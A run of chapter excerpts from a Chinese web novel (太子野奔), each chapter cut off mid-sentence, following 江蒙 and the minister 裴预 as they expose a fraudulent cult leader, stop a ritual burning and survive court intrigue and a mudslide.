“今生命薄,来世会投个好人家的。” 在大姐沉默的注视下,裴预为翠花念了一段往生经: “南无阿弥多婆夜 哆他伽多夜 哆地夜他……” 安葬翠花后,江蒙跳上房顶,在上面一阵叮咣乱翻,把她扔上去的取血的刀子给找了回来。 她平生最恨有人骗她,老乌鸡……她也要把他拆了炖汤。那老头神通广大,有金刚不坏之身,寻常兵器伤不了他。但这玩意儿是法器,肯定能红刀子进白刀子出。 “等等。”这时太子说,“你还相信他有神力?” 江蒙没觉得有什么不对。老乌鸡骗了她是一回事,有没有法力是另一回事,她可是亲眼看到的神迹。 “那你一介凡人,怎么跟他一个神仙斗?”太子好笑又好气道。 她一个草民,还绑了太子呢,有什么不能斗的。 “那老乌鸡说翠花好好的,是拿我当傻子哄,说狗坨他们已经被放回家去了,我怕也只是在哄我。”江蒙有些焦躁,“可恨在这儿耽误这些天!咱们得赶紧回村去。” “须在明日取血前走。”太子道,“不然你就只能带着我的尸首走了。” 江蒙点头,只是无极教看守太子看的紧,不知怎样脱身?正要商议,忽然听得房顶一阵响动,像是有人在上头绊了一跤。 “谁在上面?!”江蒙一惊。 她要上去看,却被太子拦住。 “怕是你的蓝颜知己。”他冷笑道,思 18. 第18劫 农妇 《太子野奔》全本免费阅读 高大的黑影笼罩着江蒙,江蒙仰着头,和那人对视。 “怎么了?”里头裴预问道,他以前基本不爬窗户,所以现在有点费劲儿,撑着窗沿刚要用力,却被江蒙伸出一只手拦住。 窗前是她的侧影,她抬着头,在看谁。他看见她的手慢慢伸到背后,握住了匕首。 “赵大姐。”她说,“你在这搞莫子?” 赵大姐……赵燕红?那个看院子的农妇?裴预一惊,她怎么会在这儿? 她怎么会知道他们在这里? “找你们。”窗外赵燕红的声音。 “你怎么知道我们在这儿?”江蒙拧起眉头。 “很好猜。” “你是只会说三个字吗?” “大葫芦,”赵燕红道,“没错吧?” 她这句话再次让裴预吃了一惊。不管她是靠头脑推测出他们会这样藏身,还是仅仅是瞎猫碰上死耗子,这农妇都是个厉害角色。前者说明她足够聪明,后者说明她有着非同寻常的直觉。 “所以你知道老乌鸡的底细,却还要帮着他干坏事。”江蒙声音顿时低下去。 裴预听出她动气了,刚要伸手拦她,她的身影却已经从窗前一晃,冲了出去。 …… “风水轮流转。”裴预对江蒙道,虽然他知道不是幸灾乐祸的时候,但她黑着脸的样子太逗了,“绑人者恒被绑。” “这大姐比五个土匪都能打!”江蒙怒道。 匕首早被夺走了。现在她和刚出京时的裴预一样,两手被绑在身前,被前头的赵燕红牵着走。但和裴预不一样,这人很不配合,不愿意走,动不动就停下来,卯足了劲儿和赵燕红拔河。 只不过拔不过人家罢了。 “她力气怎么比我还大?!”江蒙气急败坏。 裴预望了望赵大姐比他还高大的背影,和她有江蒙大腿粗的手臂,安慰她道:“谁来都得输。” “她比你聪明,又比我能打,”江蒙长叹口气,“咱俩落到她手里,算是彻底完了。” 他们仨已走出了庄子,月下江蒙回头望去,在膝盖深的长草后面,孤零零一个庄子,零星几幢屋舍亮着灯火,因为空寂无人,显得格外阴森恐怖。 或许这才是它的本来面目。所谓世外桃源,不过是她被蒙蔽了双眼。 江蒙回过头,侧过脸。 裴预在她身边沉默着往前走,和十天前刚出京城那会儿相比,他像是变了一个人。江蒙犹记得第一面见他的时候,恍惚是锦绣堆里一尊白玉观音,极俊美,极富贵。 现在他一身灰不溜丢、脏兮兮的短打,发髻在葫芦里的时候弄歪了,鬓边飞出几缕发丝,乱糟糟的搭在消瘦的脸颊上。生了一场大病,他如今不仅瘦,还一脸菜色,眼底一片青黑。 别说是太子,是个小乞丐还差不多。 仿佛注意到她的目光,他转过脸来。那双优美的眼睛布满红血丝,无声地询问。 江蒙眼一低转回目光。 六天。因为她的缘故,他们在这里一耽误就是六天。哪怕现在即刻出发,凭太子的脚力,月底也回不了村。更何况他俩还被人抓在手里,走不了。 江蒙望着前面人魁梧的跟堵墙似的背影,咬了咬牙。 她下定了决心,就悄悄地往旁边靠,肩膀挨着裴预,用一种只有他两人才能听见的声音说:“你准备一下。” 这话听着耳熟。上一次说完她就带着他跳楼了,裴预心里一揪,警惕道:“你要做什么?” 江蒙鬼鬼祟祟地瞟了眼赵燕红一眼,又道:“待会儿我去跟她拼命,你趁着这个机会……” “我跑了,”裴预瞬间明白她意思,脸色一沉打断她,“你呢?” “我?”江蒙嘿嘿一笑,“我跟她回去见老乌鸡啊。我要把他拆了炖汤,给翠花报仇的,你忘啦?” 她这一幅轻轻松松的语气,要不是面皮绷得死紧,裴预还能勉强相信她不紧张。 “太子……殿下,”她望向他,难得的尊敬庄重,“出去以后,别忘了我一村性命。江蒙在此,先谢过你大恩了。” 她说的诚恳,望向他的眼睛也诚恳,带着些决绝。这是她能想到的最好的办法,舍弃一个保住一个,保住太子,相当于保住她全村人。 “我不同意。”裴预断然拒绝。 事情尚未到绝境,他怎么可能就自己先跑了,让江蒙去送死。他要的是两个人都活下来。他决计不肯,把江蒙急得够呛,两人压着声音一路吵,都没留神,差点一头撞到赵燕红背上。 “怎么停了?” 赵燕红转过身来对着他们:“到了。” 裴预蹙眉,四下里一望,只见小路已经走到尽头,上去便是大路,在明晃晃的月色下,两头各自延伸至一座远方的城池。 为何要在这里说到了?裴预正不解,就看见赵燕红手伸到怀里,掏出那把匕首。 到了的意思……不会是说到老家吧? “来不及了!”江蒙大喝一声朝赵燕红扑去,一脸凶狠。裴预被打了个措手不及,压根来不及拦她,瞪大眼睛。而赵大姐立在原地,面无表情。 把匕首递过来道:“你们走吧。” 江蒙没刹住脚,摔了。 “……” 事情的转机总是如此猝不及防,赵燕红竟然是要放了他们。回想起来,她确实从没说过要抓他们,说的是“找你们”。也多亏了她,要不是她带路,他们出了庄子压根不知道该如何走。 至于为什么要绑着他们?她说江蒙一上来就打人,不如绑着老实。 “东边豆城。”赵燕红指了指远处的城池,“西边涿郡。”又指了指反方向另一座更大的城池。 “你们东,俺西。”她说完便闭上嘴离开。 一个多余的字都没有,走的那叫一个干脆利落。 剩下裴预和江蒙面面相觑。 江蒙赶紧追上去,方才她对人家多有得罪,得道个歉才是。何况人家放了他们,她也还没道声谢呢。 另外她还想搞清楚,为什么赵大姐一个无极教信徒,也是他们的看守,此时却会反过来帮他们呢? 她明知道老乌鸡只是 19. 第19劫 太奶 《太子野奔》全本免费阅读 “你在琢磨什么?”江蒙走近一步,“那孩子才十六岁!而且不止那一个孩子。” “你别忘了,我们只有两个人,而且是张午清要抓的人。”裴预冷静道,“去了不仅救不了别人,反而是羊入虎口。” 他说的没错,江蒙发热的头脑稍微冷却,她不能将太子置于险地,他身上挂着的可不止一条命。 “我一个人去。”她道。 “你一个人不是更危险吗!” 裴预有些头疼了,怎么就跟她说不通?“你哪儿都别去,老实跟我回豆城。” 这家伙到底把她自己当什么英雄豪杰?路见不平拔刀相助?可那农妇不过是萍水相逢,而她也没那个能耐! 好不容易从火坑里逃出来,岂可再往回跳? “江蒙,你怜悯别人,可也要想想自己。” “别把我说的好像冤大头。”江蒙道,“我不是为了别人,我就是为了自己心安。” 那是要把人活活烧死。 让她明知道有人要死,却什么也不做地逃走。 她做不到。 “你……” 裴预按了按眉心。每次都是这样,他和江蒙几乎没有一致过,他们总是在吵。他理解不了她的古道热肠、鲁莽和轻率。正如她鄙夷他的冷漠、审慎和独善其身。 两人这厢僵持,那厢赵燕红看了看天色,拍了拍江蒙的肩膀。他说的不差,她道,你跟他走。我要赶路了。说完就转身离开。 见她一个人走了,裴预转向江蒙:“走吧。” 他看见江蒙摇了摇头。 “别忘了我村里人。”她只说了这一句,就转过身要走。 裴预一把抓住她手臂,将她拉回来。“你一个人去,危险,而且无济于事。”他放缓声音,作出让步,“我们先到豆城。我答应你,会想办法救人。” “从这里走到豆城需一夜,从豆城到涿郡,再快也要走两天。”江蒙道,“你不用哄我,我知道来不及。” 她拿开他的手:“太子,以后就没我绑着你咯。” 话已至此,已无别的话好说。裴预站在原地,看着江蒙追上赵燕红,两个人的背影沉默着渐行渐远。 他转过身,朝着相反的方向走去。 这次是真的不会再见了。他想。 * 涿郡城东的河畔,有座宗祠,里头供奉的乃是位汉代名臣。原先本是家族祠堂,但几百年下来,旧时王谢堂前燕,飞入寻常百姓家,那宗祠早从家族私产,变作一处公共地界,经官府出钱修缮后,就成了衙门举行活动和接待的场所。 此时张午清便住在这里。 张午清原名张五,本来不过是个乡间无赖,偶然间碰见个游方的男巫,便拜做师父,学了些装神弄鬼的手段。在乡里招摇撞骗起来。 有那来问祸福的,他觑着人家脸色,模模糊糊瞎编几句,十句里总归能应个七八句,便让人家真以为他有什么本事。有那来求子的,他便将树皮、草根什么磨成粉,谎称神药卖给人家,一剂就白赚好几两银子。十户里头总归能撞着一户有运气,得了个孩子,便在乡里大肆宣扬,说什么“一吃便灵”。 至于那剩下九户不中的,毕竟不是什么光彩事,也不会到处宣扬。因此落在大众眼里,便是“神通广大、无有不灵”。于是求的人愈发多。求的人多,撞着运的人就多,这些人又到处夸耀,张五的名声,就这样打出去了。 到后来,不仅是平头百姓,就连那官宦大户也来求他。求财运、求官运、驱邪祛病……张五无所不应。此人天生的一副油嘴厚脸皮,极善钻营,渐渐地就与这些高门大户打得火热,甚至于结交官员,对官场私密事都了如指掌。 至此,张五已作“张午清”。无极教,也成为他那一带无人不知的大教。 “无极紫薇宫无上至尊自然妙法玄天大帝”的名号,响彻府州。 但张午清犹嫌不足,一路北上,扩展教徒。半个月前到了涿郡,在城郊一处庄子安营扎寨,整天的蛊惑百姓来信教。 他惯用的把戏,是将自己人混进百姓中,暗暗地打听各人身世背景,再报与他知。这样一来,他便可以一见面就将人家的来历说的头头是道。 那日江蒙遇见的瘸子,以及他健全的孪生兄弟,正是张午清的心腹。这瘸子偷听到江蒙唤裴预“太子”,连忙报告给张午清。 张午清先是大惊,继而大喜。若是能在当朝太子面前好好表现一番,得了他的信任,今后岂不是能出入宫廷、成为天子座上客?! 那么他成为“天师”、无极教成为“国教”,也未尝不可能! 到时候,金钱、权力、地位、美女,他想要什么,什么就有! 张午清野心勃勃,等见到“太子”真颜,却像陡然间被泼了盆冷水。这也是裴预命里该有此劫,偏偏就在前不久,有个拥趸因为疑心他下落,将张午清请到家里,测算他的吉凶祸福。 由此让张午清得知了他的面貌。 张午清一眼就认出这是那个失踪了的右相。但他反应很快,不动声色,仍旧假称裴预是太子,唬住了江蒙。 虽说不是太子,但裴预是皇帝宠臣,拿下他,也就等于拿下了皇上。张午清打定主意,仿佛又看见“天师”之号在向他招手。 可恨这个裴预是块茅坑里的石头,又臭又硬,张午清偏就啃不动他。 后来发生的事就更匪夷所思。 那个杀人狂魔到底从哪儿冒出来的?? 张午清那晚差点吓丢了魂,不过彼一时此一时,纵然前天晚上他还骑驴逃窜,今天,他可就是无所不能、神通广大的无极大帝。 涿郡长官备了花红表里、写了恳请书启,八抬大轿地请他来,乃是因为涿郡近来瘟疫渐起,让他作法驱祟、护佑百姓。 张午清志得意满地看着祠堂前的法坛。 这是专门为他作法设的,无极教徒们正忙忙碌碌地来回穿梭,加紧布置。法坛四处挂满彩段经幡,中间立着七根柱子,约一丈长,一人合抱那么粗,绘制着万字和太极图。 这便是人祭桩。 七个人牲被铁链拴在上头,脚下堆满柴火,浑身被火油淋透。 没有丝毫不安或恐惧,人人脸上都洋溢着幸福的微笑,显得十分雀跃。 因为他们马上就能“大成”了。 “都快些!”张午清两 20. 第20劫 解救 《太子野奔》全本免费阅读 江蒙不比一般女娘,那手劲儿大得很,连着狂抽了十来下,张午清一个干巴老头子,差点被直接抽死。 幸而无极教众和底下坐着的郡县长官终于反应过来,将江蒙团团围住,她才停手。 “放人。”她把张午清从地上拎起来,放身前挡着,刀子抵在他后心,“不然现在就干死他。” 郡守大怒,指着江蒙鼻子,痛斥她是刁民败类,竟敢破坏驱邪仪式,是把涿郡百姓的生命安全放哪里?把官府的权威放哪里?若是识相,速速放下屠刀,他可以从轻发落。 “你找个妖人装神弄鬼,你把官府的权威放哪里?”江蒙一点不惯着,刀子直接往前一顶,张午清发出杀猪般的嚎叫。 “闭嘴!破了点儿皮而已。”江蒙怒道,又转向无极教众,“赶紧把人牲放了!” “放了放了放了!”张午清也喊道。 没奈何教徒只好照做,七个人牲就解下来,带着下去。江蒙眼睛盯着其中一个身材高大的教徒,看着她带着个少女人牲下坛,在穿过人群时那教徒也回头望了一眼,两人目光对上。 江蒙微微点了点头。 本来站在这儿制住张午清的应该是赵燕红,她和江蒙商量的是,她力气大,应该干这种危险的事儿,江蒙则趁乱把她女儿带走,好好在外面生活。 但江蒙拒绝了。 “话不是这样说的赵大姐。”她道,“那是你闺女,不是我的,凭莫子我要把她带出去养啊?” 赵燕红还有闺女,她无父无母无牵无挂的,就算舍了命也没什么。 况且她还要亲自跟张午清算账,为翠花报仇呢。 眼见赵大姐走出去,江蒙收回目光,张午清这老头子在她臂弯里哆哆嗦嗦的,“奶奶,都按您吩咐的办了,”他满脸堆笑,“能放了我吧?” 他求生心切,一张油嘴什么好话都往外说,什么要给她加尊号,佛母还是天尊还是别的什么凭她高兴,赚的钱五五分,不七三分,看她这样还没成亲吧?多少个后生都能给她娶,他就知道有位徐公子俊的呀,才十八岁…… “人已经放了,赶紧放了张大师!”郡守也怒斥,“否则你难逃一死!” 软硬皆施,可惜江蒙是个油盐不进的犟种。她赶路一天一夜到这里,此时双眼全是血丝,一张俊脸又臭又硬,活像个蓬头垢面的夜叉。 她将那张午清揪到前面,威胁他说:“我不要你的好处。我只要你在这里,当着所有人的面,说你是骗子。说无极教是害人的邪.教。” 背后是咬牙切齿的无极教众,坛下是怒发冲冠的郡守、持刀待发的官差,墙上是一圈张着嘴巴、瞪着眼睛的百姓。所有的眼睛都在盯着他们。张午清一直叭叭的嘴忽然停了,不可置信地望着江蒙。 “你竟然要这个?” “我就要这个。” 张午清忽然嗤笑一声。 “小姑娘,你太天真了,”他冷嘲道,“你以为你这样是将真相大白于天下,主持正义么?” “你想的太简单了。”他道,把下面的人指给她看。 “看到底下的郡守大人了么?他不想要真相。看到外头围着的那些个百姓了么?他们也不想听真相。我可以明白告诉你,如果按你说的做,不但我是什么事儿都不会有,反倒是你,会死无葬身之地啊。” 扯的什么鬼话,江蒙皱眉。 “小姑娘,听我一句劝,照我说的,放了我,我一定让你当天尊,万民敬仰,一世富贵。”张午清循循善诱,“这样不好么?” “少废话,”江蒙不耐烦了,拿刀抵着他,“快按我说的做!” 这种害人得来的黑心钱,她才不稀罕。至于万民敬仰,那也得是像爹爹那样,为民除害、劫富济贫,受到大家尊敬,而不是去骗人家、哄人家。 她就是要让所有人都知道老乌鸡是个什么货色,这样他才不能继续骗人,为害一方。 张午清笑了一声。 他像是忽然变了一个人,先前那种慌乱求饶的丑态,尽数退却,他挺直了腰杆,又变回那个高高在上的神仙。 哪怕是被刀子抵着,他也不慌不忙,甚至捋了捋胡子,悠悠道:“小姑娘,除非你答应我说完就放了我,否则,我是一个字不会说的。” 江蒙想了想,答应了。 于是张午清整了整衣袍,清了清嗓子,环视一圈,大声道:“大家听我说!” 所有人都安静下来。 在无数双眼睛的注视下,张午清大声宣布:“诸位,我身后这位姑娘,让我告诉大家,我,无极紫薇宫无上至尊自然妙法玄天大帝,是个彻头彻尾的骗子!” 一时间所有人都瞪大了眼睛,吸气声此起彼伏,“张大师!”郡守又急又怒地叫了一声。 江蒙看着人们脸上惊讶的表情,心下高兴,总算能够真相大白了。 “我是王八蛋!是禽兽!是畜生!”张午清扯着嗓子越说越来劲,“我作成的那些法,都是骗人的!” “这怎么可能呢?”这时一个百姓叫道,“我可是亲眼看到您把一个残废装进葫芦里,又变出来一个好人的啊!” 人群嘈杂起来,不住地附和,很多人都是亲眼看到张午清作法的,要他是假的,那大家不都成了傻子了吗? “那些都是机关道具,是骗人的!”江蒙喊道,匕首抵着张午清,“你亲口跟他们说。” “啊对对对。”张午清慈眉善目,“正如我后面那位姑娘所说呢,那葫芦里是有机关的,我事先把一个好人装进去,让残废进去躲起来,再让那个好人出来。” 人群一片哗然。 “小姑娘,我可是按照你说的做了,”张午清回头低声道,“这下能放了我了吧?” “去你的吧。”江蒙一脚把他踹下去。 她又面向百姓,高声道:“大家都听清楚了吧?以后可千万别再被他骗了!” 人群安静了一瞬。 所有人都在看着她,但他们脸上的表情,江蒙却读不懂。她一个人被这些表情微妙的脸孔盯着,下意识一只脚后退一步,忽然感到自己好像不是个英雄。 而像个异类。 “你们怎么不说话?”她茫然地问。 “大胆刁民!”一声厉喝打破了寂静,是郡守,他气的满面涨红,怒目圆睁,指着她道,“我看你才是在这儿妖言惑众!来人!把这个妖人给我拿下!” 又回头亲自搀着张午清:“张大师,您受惊了。” 他搓着手,有些不安的样子,惭愧道:“是小郡保护不周,让您受了这般委屈,回头我一定好好给您赔罪……知州大人那边……您看……” “啊,郡守大人放心,”张午清和颜悦色,“这都是那个妖人作祟,与您又有何干呢?区区这点小事,何必劳黄知州知晓呢。” “那就好,那就好。”郡守笑得合不拢嘴。 江蒙懵了。 她不太理解发生了什么。分明张午清亲口说,他是骗子,分明他自己把他的把戏拆穿了,接下来不应该就是,郡守说,哦原来他被骗了,派人把张午清抓起来。大家说,哦原来他是个害人的骗子,我们一人一口唾沫把他给淹死。不应该是这样吗? 为什么老乌鸡这个骗子还好好的,甚至被官差接过去伺候着,郡守却对她恨得咬牙切齿,大喊大叫说她是妖人? 无极教众张牙舞爪地扑上来,一个个红着眼,恨不得要把 21. 第21劫 回归 《太子野奔》全本免费阅读 世界纷纷扰扰,裴右相在洗澡。 过去十几天没沐浴,给他留下了极大的心理阴影,此前一直疲于奔命还没空想,如今一静下来,只觉得从骨头缝里都是臭的。到了豆城这几日,他每天洗一次,一次洗一天。 有什么紧要事,也都是在浴池里解决的。 裴预一面泡在温泉池子里,一面听着下属的报告:无极教已被剿灭,在场教众被收押,教主张午清则被刺当场身亡。行凶者正是潭州百姓江蒙,按照您的吩咐,已拨付盘缠令其回原籍了,只是她受了伤,暂时还在医馆里…… 裴预闭目听着,脖颈脸颊被热气熏蒸出淡淡的粉色,如白玉上化开一片胭脂。几个侍女在为他洗头发,葱指在他头皮轻柔按摩,另一个把鸡卵清抹在他发尾,她们低垂眉眼捧着他的长发,像捧着一匹名贵的乌黑的绸缎。 “受伤了?”他睁开眼睛。 跪坐在池边的美丽女人,一五一十将江蒙的情况报告给他。她看得出公子对这个刁民有着非比寻常的关心,包括为了她,特地关心一个村子的灾情、赋税,这放在以前是不可能的事。 可这个刁民可是绑架了他的,公子怎么会非但不记恨,反而……? 是有那种特殊癖好吧。 这就不奇怪了。柳烟悟了,难怪公子此前从未倾心于哪家小姐。 毕竟谁家小姐也不会平白无故绑他呀。 她抬头看向裴预:“公子要去探望……” 话说到一半,看见裴预挥了挥手,又止住话音,垂下头去:“是。” 裴预又闭上眼睛,没再说什么,只吩咐送些药去。他不打算再见江蒙,那荒唐的女人、连同过去十来天荒唐的旅程,都只是个小插曲,他要把它们通通抛之脑后,没必要再花费多余的心思。 多的是重要的事情要他操心。 这头一件就是远征的事儿。 去年他便与皇上谋划远征之事,虽说韩一成一再阻挠,但总体上推进的还算顺利。全国兵力已向涿郡汇聚,大军集齐后,皇帝将御驾亲征,开赴辽东。 可恨韩一成这时对他动了手,皇上伤心过度,一连几日哭晕过去。现在局势不明,各地方吃不准皇上的意思,行军也就缓了下来,都在观望。 这里头权势最大、被各方将领视作方向标的,是荆、谭、桂三府总管胡吉。据情报来看,他大约是和韩一成达成了什么秘密协议,竟有退军的迹象。 胡吉敢这般不把圣旨放在眼里,无非是看他裴预死了,觉得韩一成大权在握,让皇上下旨放弃远征是早晚的事。总归要回去,不如卖左相个人情,先退军。 这下裴预改了念头。 京中已是一滩浑水,韩一成这么多天没少搅动风云,现在谁还是他的人,谁已然倒戈,都说不清。贸然回去不妥。 倒不如利用好如今韩一成在明,他在暗的优势,先去把胡吉解决了。 让大军先在涿郡集结,别误了远征大事。 再回过头来慢慢收拾韩一成。 侍女将雪白的牛乳倒入浴池,裴预转向柳烟,吩咐她回京后要做的事。 柳烟自小在他身边服侍,为人聪慧可靠,极其擅长揣摩他的心思,是他最得力的心腹。 裴预回到豆城第一眼看见她的时候,简直如同清风拂面,顿觉耳目一新。见惯了江蒙这样的野蛮人,他几乎都要忘了女郎是何模样。柳烟。似这般妆容齐整、轻声细语、举止温婉,如水般洁净清爽的,才堪为女子啊! 得亏江蒙没听见他这番论调,不然非得脱褂子让他看看啥叫真女人。 柳烟奉命回京后,裴预即刻动身前往管城,他要在那里截住胡吉。 不管韩一成事先说了什么,他一个活生生的人站在胡吉面前,韩一成的所有谎言,自然不攻自破。 去管城…… 裴预心念一动,倒是和她回谭州的路线一致。 不过那家伙中了好几刀,还要医馆躺一阵子,虽说走的同一条路,但时间错开,必然不会碰到了。 动身之前,当地州官为他摆了一桌送行宴。 宴请的地点在他自己府中,一间三楹正厅,披红挂绿布置的水晶宫一般。裴预一身轻薄的云绸常服,手握一柄麋鹿的旧扇子,翩然赴宴。 桌上珍馐罗列,佳肴丰盛。 裴预拣了一块茄肉入口,停了筷子,将玉著放到筷枕上。筷枕,这么文明的玩意儿也是久违了。 他都快习惯拿手抓东西吃了。 侍者在一旁执壶侍候,往金杯里斟满美酒,桌上推杯换盏,宾主尽欢。黄花梨木屏风外,丝竹不绝。 裴预明面上要回京,实际会走完全相反方向的路。这位宴请他的州官,表面忠心耿耿,实际已经把他的行程派人快马加鞭报告给了韩一成。 裴预捏着酒杯,颇为亲切地和那州官碰杯,说着“体己话”。 对方双手捧杯,毫不推辞地一饮而尽,把杯底倾倒给他看,极尽奉承之意。那张肥胖的脸上堆满笑容,敷了粉,此时被油汗浸的有些泥泞。眼角的皱纹能夹死蚊子,浑浊的眼睛里只能看见虚伪的假笑。 裴预觉得自己也差不多。 他在微笑,在外人看来,这笑容自然是如沐春风,但州官透过那双桃花眼,看不出一点对方内心在想什么。他不知道裴预已经给他安好了罪名,正琢磨挑个好日子把他投进牢狱。 饭桌上其乐融融,一团祥和欢乐,这样口蜜腹剑的场合裴预早就习惯,甚至已经学会从这种虚伪中,体味出些许你来我往的乐趣。 但此时此刻,他却忽然觉得,很没意思。 脸上的笑容像一张厚重假面,戴着严丝合缝,他觉得有些闷。对面人眼里的浑浊他早该无感,此时却久违地感到厌烦。 这念头刚一冒出来,一张面孔便跳跃在他脑海。没有一丝矫饰的皮肤,俊的野气,碎发下一双浓黑有神的眼睛,直白而坦然地盯着他瞧。 在试图凝望那双眼睛之前,裴预猛地回神。 都怪这州官说话太无聊,害的他走神。对方还在滔滔不绝,裴预听了一耳朵,原来是在拍他的马屁。 说他家世显赫,身份高贵,深得圣心,主持朝政这些年,修建宫殿、击退北狄、平定叛乱、治理水患,这哪一件都是值得青史留名的功绩 22. 第22劫 孽缘 《太子野奔》全本免费阅读 裴预睁开眼。 眼前是一片微明的天空,一片树荫,上头传来鸟鸣。眼皮上有些刺挠,他缓缓晃了晃头,感觉到一些沙土从脸上滑落。 意识回归,身体的感觉也逐渐明朗,浑身酸痛的好像散了架,他这才发觉自己原来是躺着。 躺在一个大土坑里。 昨日的泥石流异常凶险,裴预现在还能回忆起黑压压的天空,泥浆铺天盖地而来,山土、树木在轰鸣声中陷落,他那时才知何为天塌地陷。若不是侍卫拼死护着,恐怕他早已葬身山下。 不过现在的情形,离死也不远。 他不知怎么被冲到了这个土坑里,叫了半天也没人应,看来是和侍卫走散了。这个坑足有一丈深,四周陡峭,很难攀爬。而他右腿又受了伤,脚腕足足肿了一圈,不知道有没有断,剧痛无比,压根无法发力。 连坐起身都是勉强。 裴预疼的满头冷汗。唯有苦笑:他这运气也是有够糟糕。 浑身都被雨水和泥浆浸透,散发一股潮湿的土腥气,裴预皱着眉,咬着袖子撕下一长条布,又在坑底捡了两根断树枝,绑到右腿上。 借着树枝,他终于能勉力站起。 尝试了一下,果然爬不上去。 裴预仰面看了看四周,因为坑太深的缘故,他看不见外头的景色,只能看到坑周围零零散散的乱石。 他到底在哪儿? 裴预仰头,头顶是一片晦暗的天空,一角被树荫遮盖。 看来离官道并不远,树木并不茂盛。 裴预定了定心,这条官道是南下必经之路,人不会少。他还是有可能在饿死之前被发现并获救的。 他坐回坑底,保存体力等待。 鼻间萦绕着一股腐烂的土腥气,裴预闭目皱眉,尽管他已经刻意忽略,但屁股底下那潮湿的触感还是让他坐卧难安。土壤湿的能挤出水,湿透的衣裳压根捂不热,冰冷的贴在身上,不断带走体温。 不仅如此,裴预腿上还有点痒。 他一开始以为是伤口发痒,但痒的地方越来越往上,就像有什么东西在爬一样。他赶紧一睁眼,一见差点背过气去:几条老大的蚰蜒在他腿上爬! 这下他再不敢闭目养神,瞪大眼睛望着四周,警惕从那黑漆漆的土里爬出虫来。 过了会儿,天又开始下雨。 裴预原本最担心的是没有食物,但他现在发现最可怕的不是饥饿,而是雨水。 坑底已经开始积水,裴预不能坐,只好忍痛站起来。不一会儿水已经浅浅一层,浸透他鞋底。 如果按照昨日那个下法,暴雨下个一天一夜,这个土坑蓄的水毫无疑问会没过他脖颈。也就是说在饿死之前,他大概已经被淹死了。 裴预不敢耽误,这坑底有一些掉落下来的石块、断枝,他把它们垒起来垫在脚底,尽力让自己站的地方高些。 这一折腾,他明显感到自己体力流失了很多。 他靠在坑壁轻轻喘着气。 就在此时,他忽然隐隐听见远处一阵震动。他顿时精神一振,凝神倾听,不会错,那是马蹄的声音。 有人过来了! 他忙站直身体,冲着马蹄声的方向,大声呼喊起来。 疾驰的马蹄声由远及近,清晰可闻,裴预甚至觉得距离可能不到三丈。他不由得精神一振:或许真的马上就能出去,一想到这里,他喊得更用力。 马蹄声在他的呼喊声中迅速地略过。 没有一刻停留。渐行渐远。 “……” 裴预沉默下来,叫喊过后,身体更疲惫了。 不过从马蹄声听来,这里离官道确实不远,这是个好消息。但光靠喊是没用的,雨声和马蹄声会盖住他的声音,人听不见。 裴预的目光投向坑底的断枝。 不一会儿,一根挂着白布的树枝,颤颤巍巍伸出洞口。 裴预把几根断枝绑在一起,凑成了一根长杆,又把外袍脱了挂在上面,这样就做成了一面旗帜。 如此一来,即便听不到,从远处也能看到这里。 时间一点一滴过去,转眼,已到中午。期间过去两阵马蹄声,但都和第一次的一样,飞速地略过,完全没有注意到他这边。 裴预的心越来越沉。 积水已经没过他小腿,脚腕伤口被肮脏的泥水一泡,更加疼痛。 四下里除了雨声,一点儿动静也没有,先前的鸟鸣早随着下雨消失了,于是这一个土坑里,只有裴预一个人的呼吸,和仿佛要下到天荒地老的雨。 裴预闭着眼睛。 如今他能做的,只有不去思考、不去动弹,尽可能保存体力,等待有人能发现他。 运气好,他能脱困。 运气不好,也就只好葬身于此。 所幸,他的运势还没有差到极点。 过了中午,雨势渐小,最终停了下来。坑里的水便只到裴预大腿。暂时免于被淹死,裴预松了口气,抹去脸上的雨水。 淋了一上午的雨,他浑身愈发冰凉。 四下寂静。 在这寂静中又不知过了多久,裴预忽然听到一阵轻快的蹄声。 他猛地睁开眼睛。 和先前不同,这阵蹄音并不匆忙,有种轻快小跑之感。错落的踢踏声中,穿插着清脆铃声。 这个铃声,一定是过往的行商! 裴预一把拔出插在一旁的“旗杆”,尽力地挥舞起来,“救命!”他竭力喊道。 他有多渴望被救,就有多害怕那人和之前的人一样,头也不回地离开。但仿佛是上天垂怜,注定他命不该绝,那蹄音一顿。 裴预大喜。 他有种预感,如果错过这个人,就再也没人会来救他。他挥舞的更用力,呼喊的更大声,几乎破音。 蹄声原地徘徊几下,慢慢靠近。 “喂!”一个女声,“那儿有人吗?” 如此久的寂静之后,终于有一道除了他自己以外的声音,在裴预耳中,无异于海外仙音。这一刻甚至于他胸中涌起一股近乎感动的感情,几乎落下泪来。 “我在这儿!”他喉头作梗,“我在这儿!” 那人越来越近,裴预循着声音,竭力仰面向坑外望去,终于在视野的边缘,看见了一匹牲畜的头顶。 原来她骑的不是马,而是匹骡子。 随后,骡子背上的人影出现在视野中。 在看见她的那一刻,裴 23. 第23劫 野餐 《太子野奔》全本免费阅读 江蒙拾了一堆柴,点起篝火,把裴预的湿衣裳挂在一旁烤。她从没见过这么柔软、这么细腻、这么漂亮的料子,像是天上的云撕下来一片缝的。 “你若喜欢,回头我送你几匹。”裴预不甚在意。 他整个人裹成一条,坐在树下,发髻拆开,半湿的乌发倾泻如瀑。 维持着这个可笑的造型,他向她汇报自己是如何免除她们村赋役、勒令当地官员释放人犯。恍惚间觉得自己回到了金銮殿上,向皇上禀奏政事。 他可以恭敬地讨她欢心。 只求这个祖宗千万别再要带他回她们村了。 三千多里路,他真的走不了。 何况还有要紧事等着他做。 “哦!”这时江蒙却忽然灵光一闪,“那日恰好有兵来剿灭无极教,是你的安排吧。” 她怎么忘记他是太子,天下第二大的官,一定是他发话出兵,否则如何会这么巧。 “这么说来,我这条命是你救的。”江蒙扭着身子对树后道,“多谢你。” “不必谢我。”裴预淡淡道。 他和江蒙之间,还真说不好是谁欠谁。江蒙绑了他不假,但也救过他很多次,刘侃欲加害他时,她本已经逃出去,却又折返回来救他。 他重病误以为是瘟疫时,是她不离不弃,背着他找了一夜的医馆。 甚至最后她还想和赵燕红拼命,换他逃跑的机会。 扪心自问,这世上奉承他的人无数,但能为他做到这种地步的,又能有几个? 尽管起初,他认定她是个粗鲁、野蛮、不讲道理,做事出格的刁民。 但他确实早已对她讨厌不起来了。 这一次也是如此,若不是江蒙,他恐怕要葬身此坑中。裴预答应她,无论她想要什么都可以。 “除了以身相许。”他小声道。 尽管不讨厌她,但让他和她回村……还是太强人所难了。 “我还要你干嘛?”江蒙笑道,“你不是已经帮我救出我们村里人了吗。” “可你如何知道我说的是真的?”裴预下意识问。 问出去以后登时后悔,他不该多嘴这一句。万一她真的反悔了怎么办。 